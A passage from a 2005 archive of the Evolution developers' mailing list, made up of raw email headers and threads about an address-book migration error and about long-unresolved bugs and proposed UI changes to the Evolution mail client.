--=-wvuLs61LncWy69LFYbWS-- From archana_a5@rediffmail.com Fri Feb 25 06:03:02 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ABAB212493E; Fri, 25 Feb 2005 06:03:02 -0500 (EST) Received: from rediffmail.com (unknown [203.199.83.147]) by lists.ximian.com (Postfix) with SMTP id 6CB5112493E for ; Fri, 25 Feb 2005 06:02:49 -0500 (EST) Received: (qmail 2659 invoked by uid 510); 25 Feb 2005 11:04:21 -0000 Date: 25 Feb 2005 11:04:21 -0000 Message-ID: <20050225110421.2658.qmail@webmail25.rediffmail.com> Received: from unknown (59.92.137.246) by rediffmail.com via HTTP; 25 feb 2005 11:04:21 -0000 MIME-Version: 1.0 From: "archana a" Reply-To: "archana a" To: evolution-hackers@lists.ximian.com Cc: kharish@novell.com Content-type: multipart/alternative; boundary="Next_1109329461---0-203.199.83.147-2652" X-Spam-Status: Yes, hits=10.0 required=5.0 tests=HTML_20_30,HTML_IMAGE_ONLY_10,MSG_ID_ADDED_BY_MTA_2, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REPLY_TO_HAS_UNDERLINE_NUMS version=2.53 X-Spam-Level: ********** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Migration errors Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: This is a multipart mime message --Next_1109329461---0-203.199.83.147-2652 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0AHello everyone. =0A=0A I built evolution 2.1 & could execute it twice w= ithout much hassles.But now I am getting migration error as follows:=0A=0A"= =0A addressbook_migrate (1.4.0)=0Atrying to migrate from /home/archana/e= volution/addressbook-sources.xml=0Afound 1 contact servers to migrate=0Atry= ing to migrate completion folders "=0A=0A=0ANeither moving ".evolution" = to other destination nor recompiling it afresh helped.=0A=0APlease anyone h= elp me.=0A --Archana A(archana_a5@rediffmail.com)=0A=0A --Next_1109329461---0-203.199.83.147-2652 Content-type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline

=0A
=0AHello everyone. 
=0A
=0A I built evolution 2.1 &am= p; could execute it twice without much hassles.But now I am getting migrati= on error as follows:
=0A
=0A"
=0A    addressbook_mi= grate (1.4.0)
=0Atrying to migrate from /home/archana/evolution/addressb= ook-sources.xml
=0Afound 1 contact servers to migrate
=0Atrying to mi= grate completion folders    "
=0A
=0A
=0ANeither mo= ving ".evolution" to other destination nor recompiling it afresh = helped.
=0A
=0APlease anyone help me.
=0A    --Archana = A(archana_a5@rediffmail.com)=0A

=0A=0A=0A

=0A=0A --Next_1109329461---0-203.199.83.147-2652-- From snallagatla@novell.com Fri Feb 25 07:28:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 27C9F12402C; Fri, 25 Feb 2005 07:28:35 -0500 (EST) Received: from linux.site (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 8629F12493E for ; Fri, 25 Feb 2005 07:28:22 -0500 (EST) Received: by linux.site (Postfix, from userid 0) id 09207647FB; Fri, 25 Feb 2005 17:51:08 +0530 (IST) Subject: Re: [Evolution-hackers] Migration errors From: Sivaiah Nallagatla To: archana a Cc: evolution-hackers@lists.ximian.com, kharish@novell.com In-Reply-To: <20050225110421.2658.qmail@webmail25.rediffmail.com> References: <20050225110421.2658.qmail@webmail25.rediffmail.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Fri, 25 Feb 2005 17:51:08 +0530 Message-Id: <1109334068.22917.4.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-18.8 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: This error does not say much , so we can notreally help. Also these kind of quires are better done on evolution-users mailnbg list not hackers. Siva On Fri, 2005-02-25 at 11:04 +0000, archana a wrote: > >Hello everyone. > >I built evolution 2.1 & could execute it twice without much hassles.But >now I am getting migration error as follows: > >" > addressbook_migrate (1.4.0) >trying to migrate from /home/archana/evolution/addressbook-sources.xml >found 1 contact servers to migrate >trying to migrate completion folders " > > >Neither moving ".evolution" to other destination nor recompiling it >afresh helped. > >Please anyone help me. > --Archana A(archana_a5@rediffmail.com) > > > > From carlos.gonzalez@shaw.ca Sat Feb 26 04:07:27 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7F99C1248F8; Sat, 26 Feb 2005 04:07:27 -0500 (EST) Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id AFB49124583 for ; Sat, 26 Feb 2005 04:07:15 -0500 (EST) Received: from pd4mr7so.prod.shaw.ca (pd4mr7so-qfe3.prod.shaw.ca [10.0.141.84]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICI00FACHC2F960@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 02:07:14 -0700 (MST) Received: from pn2ml5so.prod.shaw.ca ([10.0.121.149]) by pd4mr7so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICI00H61HC2ZGM0@pd4mr7so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 02:07:14 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICI00L2PHC2LG@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 02:07:14 -0700 (MST) Date: Sat, 26 Feb 2005 02:07:15 -0700 From: Carlos Gonzalez To: Evolution Hackers-List Message-id: <1109408835.15760.13.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I was reading through a bunch of the bug and feature requests entered into the Ximian bug database and was struck by how so many of them have not had any resolution for years while being requested over and over again. Is this because there are not enough people volunteering to fix bugs and/or add features? Is this because of a philosophical lack of willingness to include some of the feature requests (many of whom seem quite reasonable)? A little of both or maybe something else? I am just curious given that I am looking at starting to make some changes in Evolution for my own use and that of my business clients and want to work as much as possible with Evolution developers as opposed to independent of them. But I don't want to even bother helping out if there is some sort of philosophical mind set against adding new features or some such. In the end I may just have to incorporate the features that I and perhaps some of my clients might want in my own little "fork" rather than waiting for something to make it into the main tree, so this issue may be mute but I am mainly just curious as to why it seems to take so long to act on a bug or a feature request. I suppose I should also take into account that I was only viewing those things that were not resolved and that the context of seeing this against the great numbers that may have been resolved already is missing. Any insight on this would be appreciated. Thanks. Carlos From mccannwj@pha.jhu.edu Sat Feb 26 10:17:43 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 21120124026; Sat, 26 Feb 2005 10:17:43 -0500 (EST) Received: from eta.pha.jhu.edu (eta.pha.jhu.edu [128.220.143.20]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 72FD01242BE for ; Sat, 26 Feb 2005 10:17:30 -0500 (EST) Received: from adcam.pha.jhu.edu (adcam.pha.jhu.edu [128.220.146.76]) by eta.pha.jhu.edu (8.12.8/8.12.4) with ESMTP id j1QFHSLw023453 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 26 Feb 2005 10:17:28 -0500 (EST) Received: from [192.168.2.57] (pcp08707090pcs.parkvl01.md.comcast.net [69.137.61.88]) (authenticated bits=0) by adcam.pha.jhu.edu (8.12.9/8.12.9) with ESMTP id j1QFHNJf002964 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 26 Feb 2005 10:17:27 -0500 (EST) Message-ID: <422092FB.1050307@pha.jhu.edu> Date: Sat, 26 Feb 2005 10:17:15 -0500 From: William Jon McCann User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Carlos Gonzalez Cc: Evolution Hackers-List Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? References: <1109408835.15760.13.camel@localhost.localdomain> In-Reply-To: <1109408835.15760.13.camel@localhost.localdomain> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello, You are attempting to draw conclusions from the number of open bugs without considering all bugs. Please see: http://en.wikipedia.org/wiki/Selection_bias If you have a sincere desire to help, produce good quality code to fix a problem. We can never have enough people volunteering to be part of the solution. Jon Carlos Gonzalez wrote: > I was reading through a bunch of the bug and feature requests entered > into the Ximian bug database and was struck by how so many of them have > not had any resolution for years while being requested over and over > again. > > Is this because there are not enough people volunteering to fix bugs > and/or add features? > > Is this because of a philosophical lack of willingness to include some > of the feature requests (many of whom seem quite reasonable)? > > A little of both or maybe something else? > > I am just curious given that I am looking at starting to make some > changes in Evolution for my own use and that of my business clients and > want to work as much as possible with Evolution developers as opposed to > independent of them. But I don't want to even bother helping out if > there is some sort of philosophical mind set against adding new features > or some such. In the end I may just have to incorporate the features > that I and perhaps some of my clients might want in my own little "fork" > rather than waiting for something to make it into the main tree, so this > issue may be mute but I am mainly just curious as to why it seems to > take so long to act on a bug or a feature request. > > I suppose I should also take into account that I was only viewing those > things that were not resolved and that the context of seeing this > against the great numbers that may have been resolved already is > missing. > > Any insight on this would be appreciated. > > Thanks. > > Carlos From carlos.gonzalez@shaw.ca Sat Feb 26 16:55:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 17B83124104; Sat, 26 Feb 2005 16:55:35 -0500 (EST) Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id 135601240BA for ; Sat, 26 Feb 2005 16:55:23 -0500 (EST) Received: from pd2mr8so.prod.shaw.ca (pd2mr8so-qfe3.prod.shaw.ca [10.0.141.11]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICJ00NQ3GW93I40@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 14:55:22 -0700 (MST) Received: from pn2ml7so.prod.shaw.ca ([10.0.121.151]) by pd2mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICJ0033XGW970B0@pd2mr8so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 14:55:21 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICJ00LI8GW8NW@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 14:55:21 -0700 (MST) Date: Sat, 26 Feb 2005 14:55:22 -0700 From: Carlos Gonzalez Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? In-reply-to: <422092FB.1050307@pha.jhu.edu> To: Evolution Hackers-List Message-id: <1109454922.13648.21.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit References: <1109408835.15760.13.camel@localhost.localdomain> <422092FB.1050307@pha.jhu.edu> X-Spam-Status: No, hits=-19.5 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Jon, On Sat, 2005-02-26 at 10:17 -0500, William Jon McCann wrote: > Hello, > > You are attempting to draw conclusions from the number of open bugs > without considering all bugs. Please see: > http://en.wikipedia.org/wiki/Selection_bias I thought it might be something of the sort Jon. Appreciate the heads up on the possibility of my impression being way off based on skewed analysis based on the bugs that are still in existence without taking into account all the countless bugs and feature requests that have probably been dealt with already. I meant no offense by the way in case anyone found my impression offensive. I was mostly asking so that others could help me see differently. And from the standpoint of wondering how to approach making changes to the code for my own use and that of potential business clients of mine. Whether to participate in helping out or not based on my perception of whether any changes would be well received or considered or not. > If you have a sincere desire to help, produce good quality code to fix a > problem. We can never have enough people volunteering to be part of the > solution. For sure Jon. But on my end I am not so much interested in squashing bugs as much as I am in changing the way Evolution works in some of it's more quirky ways. For I have settled on Evolution as my email client of choice and will be with it for years to come. So it's worth it for me to work on some changes. For example.... 1. Get rid of the way the Send/Receive box takes over the screen and does not allow one to do much of anything in Evolution until AFTER it has finished. Only way that I have found around this is to set Evolution into automatic retrieval mode and then go off to do something else on my computer. But it would be better to get rid of the box altogether and replace it with some kind of indicator on the status bar unless user wishes otherwise. 2. Provide the means to be able to run a filter on a folder of emails manually. Without having said filter execute on incoming emails or outgoing emails only. Right now there is no such mechanism and this is quite handy, almost needful, to have to accomodate those who don't want all their email filtered until AFTER they have read it all out of their inbox. 3. Revamp the way Evolution responds to key presses and otherwise on the screen such that a user has a hard time telling what area of the screen is in focus and what their key presses will affect. For example the blue highlight bar (under Gnome) is in the folder pane over a folder. The emails in that folder are being displayed in the message pane (not the preview pane). One presses "." to go to the first unread message in the folder followed by the down arrow key to get to the next one (which is intuitive). What happens? The highlight bar moves to the next folder not the next message. This is confusing and quirky. It's difficult to tell what pane will be affected by my keypresses. 4. Change the little, itty bitty check boxes Enabling the checking of email from the various accounts one has, to more standard check boxes that are more seen to be that. The one's that are there look like some kind of decorative icon and are thus confusing. I mean they look pretty and all but for a regular user they are confusing since they don't look like any checkboxes one normally sees in programs of any kind. I mean the check inside the box I should say. Not the fact that there is a box accepting a check. I could go on..... Suffice it to say that each of these changes, while perhaps good overall and not just beneficial to me personally, would require a lot of effort not only to implement for myself alone but perhaps for everyone through a more formal inclusion into the main code branch. I'm not sure I want to fight for these changes and take the time to so fight for them if in the end such changes are going to be considered invalid, of no use, or even frowned upon. That is why I was asking about the apparent lack of closure to some very old bugs and very old feature requests. Either in implementing such or definitively putting them to rest by stating that they will not be worked on for this or that logical reason. All I see with most of the old one's left is that they keep getting knocked to later or in the future. They are never closed if that makes sense. Again my apologies if my impressions are way off but please take into account that I am feeling my way around all this for the first time with Evolution. Thanks. Carlos > > Jon > > Carlos Gonzalez wrote: > > I was reading through a bunch of the bug and feature requests entered > > into the Ximian bug database and was struck by how so many of them have > > not had any resolution for years while being requested over and over > > again. > > > > Is this because there are not enough people volunteering to fix bugs > > and/or add features? > > > > Is this because of a philosophical lack of willingness to include some > > of the feature requests (many of whom seem quite reasonable)? > > > > A little of both or maybe something else? > > > > I am just curious given that I am looking at starting to make some > > changes in Evolution for my own use and that of my business clients and > > want to work as much as possible with Evolution developers as opposed to > > independent of them. But I don't want to even bother helping out if > > there is some sort of philosophical mind set against adding new features > > or some such. In the end I may just have to incorporate the features > > that I and perhaps some of my clients might want in my own little "fork" > > rather than waiting for something to make it into the main tree, so this > > issue may be mute but I am mainly just curious as to why it seems to > > take so long to act on a bug or a feature request. > > > > I suppose I should also take into account that I was only viewing those > > things that were not resolved and that the context of seeing this > > against the great numbers that may have been resolved already is > > missing. > > > > Any insight on this would be appreciated. > > > > Thanks. > > > > Carlos > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From notzed@ximian.com Sun Feb 27 22:48:17 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DF74B1245EF; Sun, 27 Feb 2005 22:48:17 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 9C95A1245A0 for ; Sun, 27 Feb 2005 22:48:04 -0500 (EST) Received: (qmail 5267 invoked from network); 28 Feb 2005 03:48:02 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 28 Feb 2005 03:48:02 -0000 Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? From: Not Zed To: Carlos Gonzalez Cc: Evolution Hackers-List In-Reply-To: <1109454922.13648.21.camel@localhost.localdomain> References: <1109408835.15760.13.camel@localhost.localdomain> <422092FB.1050307@pha.jhu.edu> <1109454922.13648.21.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-7zLlVW4Lru1MaQvvWcm3" Date: Mon, 28 Feb 2005 11:46:13 +0800 Message-Id: <1109562373.7375.22.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-18.7 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_30,EMAIL_ATTRIBUTION,HTML_20_30, IN_REP_TO,QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-7zLlVW4Lru1MaQvvWcm3 Content-Type: text/plain Content-Transfer-Encoding: 7bit On Sat, 2005-02-26 at 14:55 -0700, Carlos Gonzalez wrote: > Hi Jon, > > > On Sat, 2005-02-26 at 10:17 -0500, William Jon McCann wrote: > > Hello, > > > > You are attempting to draw conclusions from the number of open bugs > > without considering all bugs. Please see: > > http://en.wikipedia.org/wiki/Selection_bias > > I thought it might be something of the sort Jon. Appreciate the heads > up on the possibility of my impression being way off based on skewed > analysis based on the bugs that are still in existence without taking > into account all the countless bugs and feature requests that have > probably been dealt with already. > > I meant no offense by the way in case anyone found my impression > offensive. I was mostly asking so that others could help me see > differently. > > And from the standpoint of wondering how to approach making changes to > the code for my own use and that of potential business clients of mine. > Whether to participate in helping out or not based on my perception of > whether any changes would be well received or considered or not. > > > If you have a sincere desire to help, produce good quality code to fix a > > problem. We can never have enough people volunteering to be part of the > > solution. > > For sure Jon. But on my end I am not so much interested in squashing > bugs as much as I am in changing the way Evolution works in some of it's Well, since nobody else is ever interested in squashing bugs either, we're always too busy doing that to ever fix all these minor issues and far-out feature requests. It is rather questionable that anybody could understand the code enough straight off the bat to implement new features effectively either. I think this is borne out by the fact there ARE so many outstanding feature requests - if anybody really cared about them, they'd have written patches. > more quirky ways. For I have settled on Evolution as my email client of > choice and will be with it for years to come. So it's worth it for me to > work on some changes. > > For example.... > > 1. Get rid of the way the Send/Receive box takes over the screen and > does not allow one to do much of anything in Evolution until AFTER it > has finished. Only way that I have found around this is to set > Evolution into automatic retrieval mode and then go off to do something > else on my computer. But it would be better to get rid of the box > altogether and replace it with some kind of indicator on the status bar > unless user wishes otherwise. I never knew this was a problem. Until I used the gnome window manager, which forces this behaviour - to me this is very much a window manager issue, with mine I just iconise it if it gets in the way, or just move it behind the other windows. You should still be able to just close the window using the close button, and it will keep downloading in the background. Adding stuff to the status bar is a lot harder than it should be because we're using bonobo, but if you want to try, you're welcome to it. Its easy, write a patch, and then see if anybody wants it. > 2. Provide the means to be able to run a filter on a folder of emails > manually. Without having said filter execute on incoming emails or > outgoing emails only. Right now there is no such mechanism and this is > quite handy, almost needful, to have to accomodate those who don't want > all their email filtered until AFTER they have read it all out of their > inbox. We used to have this ability - by having a separate set of filters (as you have 'incoming' and 'outgoing' filters, there was a 'on demand' list). This was removed years ago. I have no idea why it was removed, but someone thought it was a good idea to simplify it as it confused people or something. > 3. Revamp the way Evolution responds to key presses and otherwise on > the screen such that a user has a hard time telling what area of the > screen is in focus and what their key presses will affect. For example > the blue highlight bar (under Gnome) is in the folder pane over a > folder. The emails in that folder are being displayed in the message > pane (not the preview pane). One presses "." to go to the first unread > message in the folder followed by the down arrow key to get to the next > one (which is intuitive). What happens? The highlight bar moves to the > next folder not the next message. This is confusing and quirky. It's > difficult to tell what pane will be affected by my keypresses. Well the focus is on the folder tree in that case (as clearly indicated by the blue selection). So all normal key presses should be going there. Menu accelerators are global however. Sure its messy, and improvements may help - although i doubt they will help much, because most complaints are that evolution doesn't work like a text-mode mailer, and it never will be able to. Focus and changing of focus is required for things like accessibility, so you can't just setup global keypresses for everything. And in many cases it is a personal issue (i.e. 'I want it to work like mailer "foo"'), so it is impossible to please everyone. > 4. Change the little, itty bitty check boxes Enabling the checking of > email from the various accounts one has, to more standard check boxes > that are more seen to be that. The one's that are there look like some > kind of decorative icon and are thus confusing. I mean they look pretty > and all but for a regular user they are confusing since they don't look > like any checkboxes one normally sees in programs of any kind. I mean > the check inside the box I should say. Not the fact that there is a box > accepting a check. As far as I'm aware, we're just using standard gtktreeview checkboxes here. That would be a gtk+ issue quite beyond our control. The same checkboxes are used for enabling calendars. > I could go on..... > > Suffice it to say that each of these changes, while perhaps good overall > and not just beneficial to me personally, would require a lot of effort > not only to implement for myself alone but perhaps for everyone through > a more formal inclusion into the main code branch. Well, we have quality standards that must be met. But that isn't the problem usually. Generally any ui changes require input from the 'ui team', which are often too apathetic or too busy to bother responding for input, and the code reviewers are not allowed to make ui changes without their input. The developers are not always able to have the last word, so the process falters because of management issues. > I'm not sure I want to fight for these changes and take the time to so > fight for them if in the end such changes are going to be considered > invalid, of no use, or even frowned upon. That is why I was asking > about the apparent lack of closure to some very old bugs and very old > feature requests. Either in implementing such or definitively putting > them to rest by stating that they will not be worked on for this or that > logical reason. All I see with most of the old one's left is that they > keep getting knocked to later or in the future. They are never closed > if that makes sense. There are too many bugs to fix to keep the two mail developers busy for years to come, before you add any new features on top of that. > Again my apologies if my impressions are way off but please take into > account that I am feeling my way around all this for the first time with > Evolution. It just sounds like you want to take the evolution code and change it for your needs without consideration for existing users or development process or long-term plans. > > > > Jon > > > > Carlos Gonzalez wrote: > > > I was reading through a bunch of the bug and feature requests entered > > > into the Ximian bug database and was struck by how so many of them have > > > not had any resolution for years while being requested over and over > > > again. > > > > > > Is this because there are not enough people volunteering to fix bugs > > > and/or add features? > > > > > > Is this because of a philosophical lack of willingness to include some > > > of the feature requests (many of whom seem quite reasonable)? > > > > > > A little of both or maybe something else? > > > > > > I am just curious given that I am looking at starting to make some > > > changes in Evolution for my own use and that of my business clients and > > > want to work as much as possible with Evolution developers as opposed to > > > independent of them. But I don't want to even bother helping out if > > > there is some sort of philosophical mind set against adding new features > > > or some such. In the end I may just have to incorporate the features > > > that I and perhaps some of my clients might want in my own little "fork" > > > rather than waiting for something to make it into the main tree, so this > > > issue may be mute but I am mainly just curious as to why it seems to > > > take so long to act on a bug or a feature request. > > > > > > I suppose I should also take into account that I was only viewing those > > > things that were not resolved and that the context of seeing this > > > against the great numbers that may have been resolved already is > > > missing. > > > > > > Any insight on this would be appreciated. > > > > > > Thanks. > > > > > > Carlos > > > > _______________________________________________ > > evolution-hackers maillist - evolution-hackers@lists.ximian.com > > http://lists.ximian.com/mailman/listinfo/evolution-hackers > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-7zLlVW4Lru1MaQvvWcm3 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Sat, 2005-02-26 at 14:55 -0700, Carlos Gonzalez wrote: 
Hi Jon, 


On Sat, 2005-02-26 at 10:17 -0500, William Jon McCann wrote:
> Hello,
> 
> You are attempting to draw conclusions from the number of open bugs 
> without considering all bugs.  Please see:
> http://en.wikipedia.org/wiki/Selection_bias

I thought it might be something of the sort Jon.  Appreciate the heads
up on the possibility of my impression being way off based on skewed
analysis based on the bugs that are still in existence without taking
into account all the countless bugs and feature requests that have
probably been dealt with already.  

I meant no offense by the way in case anyone found my impression
offensive.  I was mostly asking so that others could help me see
differently.  

And from the standpoint of wondering how to approach making changes to
the code for my own use and that of potential business clients of mine.
Whether to participate in helping out or not based on my perception of
whether any changes would be well received or considered or not.  

> If you have a sincere desire to help, produce good quality code to fix a 
> problem.  We can never have enough people volunteering to be part of the 
> solution.

For sure Jon.  But on my end I am not so much interested in squashing
bugs as much as I am in changing the way Evolution works in some of it's
Well, since nobody else is ever interested in squashing bugs either, we're always too busy doing that to ever fix all these minor issues and far-out feature requests.  It is rather questionable that anybody could understand the code enough straight off the bat to implement new features effectively either.  I think this is borne out by the fact there ARE so many outstanding feature requests - if anybody really cared about them, they'd have written patches. 
more quirky ways.  For I have settled on Evolution as my email client of
choice and will be with it for years to come. So it's worth it for me to
work on some changes.  

For example....

1. Get rid of the way the Send/Receive box takes over the screen and
does not allow one to do much of anything in Evolution until AFTER it
has finished.  Only way that I have found around this is to set
Evolution into automatic retrieval mode and then go off to do something
else on my computer.  But it would be better to get rid of the box
altogether and replace it with some kind of indicator on the status bar
unless user wishes otherwise.
I never knew this was a problem.  Until I used the gnome window manager, which forces this behaviour - to me this is very much a window manager issue, with mine I just iconise it if it gets in the way, or just move it behind the other windows.  You should still be able to just close the window using the close button, and it will keep downloading in the background.

Adding stuff to the status bar is a lot harder than it should be because we're using bonobo, but if you want to try, you're welcome to it.  Its easy, write a patch, and then see if anybody wants it. 
2.  Provide the means to be able to run a filter on a folder of emails
manually. Without having said filter execute on incoming emails or
outgoing emails only.  Right now there is no such mechanism and this is
quite handy, almost needful,  to have to accomodate those who don't want
all their email filtered until AFTER they have read it all out of their
inbox.
We used to have this ability - by having a separate set of filters (as you have 'incoming' and 'outgoing' filters, there was a 'on demand' list).  This was removed years ago.  I have no idea why it was removed, but someone thought it was a good idea to simplify it as it confused people or something. 
3.  Revamp the way Evolution responds to key presses and otherwise on
the screen such that a user has a hard time telling what area of the
screen is in focus and what their key presses will affect.  For example
the blue highlight bar (under Gnome) is in the folder pane over a
folder.  The emails in that folder are being displayed in the message
pane (not the preview pane).  One presses "." to go to the first unread
message in the folder followed by the down arrow key to get to the next
one (which is intuitive).  What happens?  The highlight bar moves to the
next folder not the next message.  This is confusing and quirky.  It's
difficult to tell what pane will be affected by my keypresses.
Well the focus is on the folder tree in that case (as clearly indicated by the blue selection).  So all normal key presses should be going there.  Menu accelerators are global however.

Sure its messy, and improvements may help - although i doubt they will help much, because most complaints are that evolution doesn't work like a text-mode mailer, and it never will be able to.  Focus and changing of focus is required for things like accessibility, so you can't just setup global keypresses for everything.  And in many cases it is a personal issue (i.e. 'I want it to work like mailer "foo"'), so it is impossible to please everyone. 
4. Change the little, itty bitty check boxes Enabling the checking of
email from the various accounts one has, to more standard check boxes
that are more seen to be that.  The one's that are there look like some
kind of decorative icon and are thus confusing.  I mean they look pretty
and all but for a regular user they are confusing since they don't look
like any checkboxes one normally sees in programs of any kind.  I mean
the check inside the box I should say.  Not the fact that there is a box
accepting a check.
